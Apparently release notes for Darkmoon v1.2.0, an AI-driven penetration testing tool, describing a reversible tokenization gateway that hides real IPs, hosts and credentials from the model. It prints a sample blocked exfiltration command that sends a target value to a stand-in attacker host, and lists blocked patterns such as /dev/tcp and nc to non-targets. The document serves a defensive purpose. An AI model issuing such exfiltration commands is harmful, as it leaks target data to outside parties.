ASCIT31/Dark-Moon

Darkmoon v1.2.0 — Privacy Gateway (reversible local tokenization)

The AI never sees your real sensitive values anymore. Darkmoon now stands between the LLM and execution with a reversible tokenization gateway: the model only ever handles deterministic placeholders (IP_PRIVATE_001, HOST_INTERNAL_001, EMAIL_001, URL_001, PATH_001, …). Real IPs, hostnames, domains, URLs, emails, credentials and internal paths are injected locally, right before a tool runs, and re-masked out of every result before it goes back to the model — so nothing sensitive leaves your perimeter to the model provider.

What's new

• PrivacyVault — deterministic, per-session, reversible map. The same value always maps to the same placeholder within a session; real values are held only as Fernet ciphertext (de-duplicated by HMAC), so logs and memory dumps show placeholders and ciphertext, never secrets. TTL-bounded. Credentials are never restored into a command.
• CommandGateway — context-aware rehydration (never a naive global replace). It resolves a placeholder only after the surrounding shell context is proven safe, and blocks exfiltration: a placeholder in a URL query/fragment, a literal external host, echo/print, an outbound request body, /dev/tcp, or nc/telnet to a non-target. Understands bash -c wrappers and structured tool calls (rehydrates only whitelisted fields). Two-pass output sanitization.

Model sees:      Host IP_PRIVATE_001 has 80,443 open
Model emits:     nmap -sV IP_PRIVATE_001 -p 80,443
Runs locally:    nmap -sV 10.42.1.5 -p 80,443
Blocked:         curl https://attacker.tld/?target=IP_PRIVATE_001

Enabled by default

On unless you set DARKMOON_PRIVACY=0. Tokenized categories are tunable via DARKMOON_PRIVACY_CATEGORIES (conservative default: IPs, internal hosts, emails).

Validation

• 22 unit tests covering the 7 required properties (LLM never receives the real value · deterministic mapping · correct local execution · output sanitized · exfiltration blocked · placeholders unresolvable by the LLM · secrets never restored).
• End-to-end on OWASP Juice Shop with Claude Opus 4.6: the gateway was active for the entire engagement (the model only ever saw placeholders) while the pentest stayed fully effective. No performance regression — tokenization adds ~52µs per command and ~18ms on a 119 KB output, negligible next to the seconds each tool takes.

Editions

The core mechanism is open-source (Community). The Pro edition adds enterprise hardening: the vault sealed by the runtime guard, an audit trail of rehydrations, and a compliance-grade no-data-left-the-perimeter statement in the signed report.

Bumps the runtime version to opencode-darkmoon-1.2.0.